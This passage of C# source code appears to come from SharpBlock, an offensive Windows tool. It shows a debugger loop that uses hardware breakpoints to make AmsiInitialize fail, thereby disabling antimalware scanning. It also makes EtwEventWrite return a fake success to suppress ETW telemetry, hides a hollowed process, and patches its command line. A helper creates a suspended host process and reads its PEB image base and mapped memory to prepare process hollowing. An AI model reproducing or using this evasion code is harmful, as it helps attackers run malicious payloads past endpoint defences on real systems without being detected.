amsiInitalizePtr) { //It is, to update the thread context to return to caller with //an invalid result DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]); //Set the hardware breakpoint again for AmsiInitalize SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], amsiInitalizePtr, 0); //check to see if we have hit our in-memory PE entry-point } else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint) { //Causes crashes on some processes, for example cmd.exe, use --bypass-header-patch to disable if (bypassHollowDetect) { HideHollowedProcess(pi.hProcess, hpi); } //Catch case just in case kernelbase was the last DLL loaded if (bypassCommandLine && kernelBaseLoaded && !patchedArgs) { UpdateCommandLine(pi.hProcess, realProgramArgs); patchedArgs = true; } //No longer need the entrypoint breakpoint ClearHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], 1); } else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == etwEventWritePtr) { //We have hit EtwEventWrite so lets just return with a fake success result OverrideReturnValue(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId], new UIntPtr(0), 5); } } else { dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED; } //Console.WriteLine($"Exception 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionCode:x} occured at 0x{ExceptionDebugInfo.ExceptionRecord.ExceptionAddress.ToInt64():x}"); break; } WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId, (uint)DebugEvent.dwThreadId, dwContinueDebugEvent); } if (debugEventPtr != null) { Marshal.FreeHGlobal(debugEventPtr); } } int exitCode; WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode); Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}"); }catch (Exception e) { Console.WriteLine($"[!] SharpBlock failed with error {e.Message}"); Console.WriteLine(e.StackTrace); } }
private static bool InitHostProcess(string pszFormattedPath, ref HostProcessInfo HPI) { bool bResult; STARTUPINFO lpStartupInfo = new STARTUPINFO(); PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION(); // create child process bResult = CreateProcessW( null, pszFormattedPath, IntPtr.Zero, IntPtr.Zero, false, 0x04, IntPtr.Zero, IntPtr.Zero, ref lpStartupInfo, out lpProcessInformation); if (!bResult) { return(false); } HPI.SI = lpStartupInfo; HPI.PI = lpProcessInformation; // get peb->ImageBaseAddress of host process CONTEXT CTX = new CONTEXT(); CTX.ContextFlags = (uint)CONTEXT_FLAGS.CONTEXT_ALL; bResult = GetThreadContext(HPI.PI.hThread, ref CTX); if (!bResult) { return(false); } HPI.CTX = CTX; // read peb byte[] _readBuffer = new byte[sizeof(uint)]; IntPtr _outBuffer = IntPtr.Zero; // ctx.ebx = peb* // ctx.ebx + 8 = ImageBaseAddress bResult = ReadProcessMemory( HPI.PI.hProcess, (IntPtr)(HPI.CTX.Ebx + 8), _readBuffer, sizeof(uint), out _outBuffer); if (!bResult) { return(false); } HPI.ImageBase = BitConverter.ToUInt32(_readBuffer, 0); // find how much mapped memory we have to work with IntPtr lpCurrentAddress = (IntPtr)HPI.ImageBase; MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION(); // iterate through mapped memory space while (VirtualQueryEx( HPI.PI.hProcess, lpCurrentAddress, out mbi, (uint)sizeof(MEMORY_BASIC_INFORMATION)) != 0) { if (mbi.State == StateEnum.MEM_FREE) { break; } lpCurrentAddress = (IntPtr)((uint)(lpCurrentAddress) + mbi.RegionSize); } // size of mapped memory ?? == Nt->SizeOfImage HPI.ImageSize = (uint)lpCurrentAddress - HPI.ImageBase; return(bResult); }